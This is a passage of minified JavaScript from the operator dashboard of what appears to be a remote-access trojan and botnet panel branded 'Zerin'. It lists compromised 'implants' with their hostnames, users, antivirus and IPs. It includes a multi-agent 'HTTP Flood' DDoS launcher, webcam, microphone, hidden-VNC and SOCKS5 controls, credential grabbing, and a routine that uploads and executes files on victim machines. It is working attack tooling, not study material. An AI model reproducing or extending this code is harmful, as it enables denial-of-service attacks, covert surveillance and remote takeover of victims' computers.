t=1;t{t(fW(e))},[t,e]),null}var VW=["layout"];function nh(){return nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=rn(e,JW);return p.createElement(YW,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:QW,tooltipPayloadSearcher:vS,categoricalChartProps:n,ref:t})}),tU=["axis"],nU=p.forwardRef((e,t)=>p.createElement(WW,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:tU,tooltipPayloadSearcher:vS,categoricalChartProps:e,ref:t}));function rU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;unew Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(nU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(d3,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(dy,{width:"100%",height:"100%",children:s.jsxs(eU,{children:[s.jsx(YS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(Wd,{fill:i.color},a))}),s.jsx(db,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function iU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r + bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const aU=["GET","POST","HEAD"],sU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function C3({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>ke(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z);const O=z.filter(_=>_.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(_=>ke(_,{command:"ddos_stop"})))).map((_,T)=>({agentId:e[T],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(z),g(!1);const O=z.filter(_=>_.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:aU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:sU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const s2={alive:0,stale:1,dead:2};function oU(e,t,n){let r=0;switch(n.column){case"status":r=(s2[e.status]??3)-(s2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=fo(e.os).localeCompare(fo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const lU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function cU(){const e=Qn(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState({x:0,y:0,visible:!1}),[h,x]=p.useState(null),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState("Zerin"),[O,_]=p.useState(""),[T,E]=p.useState(new Set),[U,K]=p.useState(!1),R=p.useRef(null),I=p.useRef(null),F=p.useRef(null),B=p.useCallback(async()=>{try{const C=await Hj();n(C),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{B()},[B]);const{lastMessage:V}=p.useContext(Yu);p.useEffect(()=>{if(V&&V.type==="agent_update"){const C=V.payload;n(D=>{const A=D.findIndex(Z=>Z.id===C.id);if(A>=0){const Z=[...D];return Z[A]=C,Z}return[C,...D]}),y(D=>D&&D.id===C.id?C:D)}},[V]),p.useEffect(()=>{const C=setInterval(B,15e3);return()=>clearInterval(C)},[B]),p.useEffect(()=>()=>{R.current&&clearTimeout(R.current)},[]);const $={total:t.length,alive:t.filter(C=>C.status==="alive").length,stale:t.filter(C=>C.status==="stale").length,dead:t.filter(C=>C.status==="dead").length},Y=[...l==="all"?t:t.filter(C=>C.status===l)].sort((C,D)=>oU(C,D,u));function ie(C){d(D=>({column:C,direction:D.column===C&&D.direction==="asc"?"desc":"asc"}))}function ae(C){c(D=>D===C&&C!=="all"?"all":C)}function fe(C){if(R.current){clearTimeout(R.current),R.current=null,e(`/agents/${C.id}`);return}R.current=setTimeout(()=>{R.current=null,y(C)},250)}function de(C,D){C.preventDefault(),x(D),m({x:C.clientX,y:C.clientY,visible:!0})}function G(C,D){var ge;if(!h)return;const A=h.id,Z=h.hostname,le=D==null?void 0:D.action,me=D==null?void 0:D.tab;if(m(M=>({...M,visible:!1})),x(null),le==="chat"){b(h);return}if(le==="confirm"){j({command:C,agentId:A,hostname:Z});return}if(le==="msgbox"){S({agentId:A,hostname:Z}),z("Zerin"),_("");return}if(le==="vnc"){ix(A).then(()=>{const M=Ze(),ee=window.open(`/vnc/${A}`,`vnc-${A}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start VNC"));return}if(le==="hvnc"){qj(A).then(()=>{const M=Ze(),ee=window.open(`/vnc/${A}?mode=hvnc`,`hvnc-${A}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start hVNC"));return}if(le==="webcam"){Yj(A).then(()=>{const M=Ze(),ee=window.open(`/webcam/${A}`,`webcam-${A}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start webcam"));return}if(le==="mic"){Gj(A).then(()=>{const M=Ze(),ee=window.open(`/mic/${A}`,`mic-${A}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ee&&M){const W=X=>{var ne;((ne=X.data)==null?void 0:ne.type)==="zerin_auth_request"&&X.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:M},window.location.origin),window.removeEventListener("message",W))};window.addEventListener("message",W)}}).catch(()=>o("Failed to start microphone"));return}if(le==="socks5"){Xj(A).then(M=>{alert(`SOCKS5 proxy started on ${M.bind}:${M.port} + +Use: ssh -L ${M.port}:127.0.0.1:${M.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(le==="execute_upload"){F.current=A,(ge=I.current)==null||ge.click();return}if(le==="ban"){const M=t.find(ne=>ne.id===A),ee=M==null?void 0:M.banned,W=ee?`Unban agent ${Z} (${A.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${Z} (${A.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(W))return;(ee?yE:gE)(A).then(()=>{n(ne=>ne.map(H=>H.id===A?{...H,banned:!ee}:H))}).catch(()=>o(`Failed to ${ee?"unban":"ban"} agent`));return}if(le==="remove"){if(!confirm(`Remove agent ${Z} (${A.slice(0,8)})? This cannot be undone.`))return;Kj(A).then(()=>{n(M=>M.filter(ee=>ee.id!==A))}).catch(()=>o("Failed to remove agent"));return}(le==="submit"||le==="screenshot")&&C!=="creds"&&ke(A,{command:C}).catch(M=>{o(`Failed to submit task: ${M instanceof Error?M.message:"unknown error"}`)}),me&&e(`/agents/${A}?tab=${me}${C==="creds"?"&auto=1":""}`)}function te(){m(C=>({...C,visible:!1})),x(null)}async function P(C){var me,ge,M;const D=(me=C.target.files)==null?void 0:me[0];if(C.target.value="",!D||!F.current)return;const A=F.current;F.current=null;const Z=D.name,le=`C:\\Windows\\Temp\\${Z}`;try{const ee=await D.arrayBuffer(),W=Array.from(new Uint8Array(ee)),{task_id:X}=await ke(A,{command:"upload",args:[le],data:W});let ne=!1;for(let Q=0;Q<30;Q++){await new Promise(Ae=>setTimeout(Ae,2e3));const re=(ge=(await Tn(A)).results)==null?void 0:ge.find(Ae=>Ae.task_id===X);if(re){if(re.error)throw new Error(re.error);ne=!0;break}}if(!ne)throw new Error("Upload timed out");const{task_id:H}=await ke(A,{command:"execute",args:[le]});for(let Q=0;Q<30;Q++){await new Promise(Ae=>setTimeout(Ae,2e3));const re=(M=(await Tn(A)).results)==null?void 0:M.find(Ae=>Ae.task_id===H);if(re){if(re.error)throw new Error(re.error);alert(`Executed ${Z} on agent`);return}}alert(`File uploaded & execute command sent (${Z})`)}catch(ee){o(`Execute file failed: ${ee instanceof Error?ee.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:I,type:"file",className:"hidden",onChange:P}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Ml,{label:"Total",value:$.total,active:l==="all",onClick:()=>ae("all")}),s.jsx(Ml,{label:"Alive",value:$.alive,active:l==="alive",onClick:()=>ae("alive")}),s.jsx(Ml,{label:"Stale",value:$.stale,active:l==="stale",onClick:()=>ae("stale")}),s.jsx(Ml,{label:"Dead",value:$.dead,active:l==="dead",onClick:()=>ae("dead")})]}),$.dead>0&&s.jsx("div",{className:"flex items-center gap-2 mb-4",children:s.jsxs("button",{onClick:async()=>{if(!confirm(`Remove all ${$.dead} dead agent(s)? This cannot be undone.`))return;const C=t.filter(D=>D.status==="dead").map(D=>D.id);try{await vE(C),n(D=>D.filter(A=>A.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/20 text-red-400 hover:bg-red-500/30 border border-red-500/30 transition-colors",children:["Clear ",$.dead," Dead Agent",$.dead!==1?"s":""]})}),s.jsx(rU,{agents:t}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:B,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Y.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No matching agents"}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:["No ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})," agents found.",s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:["Showing ",s.jsx("span",{className:"text-zerin-text font-medium",children:Y.length})," agent",Y.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["with status ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:Y.length>0&&Y.filter(C=>C.status!=="dead").every(C=>T.has(C.id)),onChange:C=>{C.target.checked?E(new Set(Y.filter(D=>D.status!=="dead").map(D=>D.id))):E(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),lU.map(C=>s.jsx("th",{onClick:()=>ie(C.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${C.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[C.label,s.jsx(uU,{column:C.key,sort:u})]})},C.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:Y.map(C=>s.jsxs("tr",{onClick:()=>fe(C),onContextMenu:D=>de(D,C),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${C.status==="dead"?"opacity-50":""} ${C.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:D=>D.stopPropagation(),children:C.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:T.has(C.id),onChange:D=>{E(A=>{const Z=new Set(A);return D.target.checked?Z.add(C.id):Z.delete(C.id),Z})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(Ku,{status:C.status,size:"sm",showLabel:!0}),C.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${C.banned?"line-through":""}`,children:C.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[C.username,C.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:fo(C.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:C.av_product||"Unknown",children:C.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:C.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:uo(C.last_seen),children:Ac(C.last_seen)})]},C.id))})]})})})]}),T.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[T.size," agent",T.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsx("button",{onClick:()=>E(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),U&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:C=>C.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold 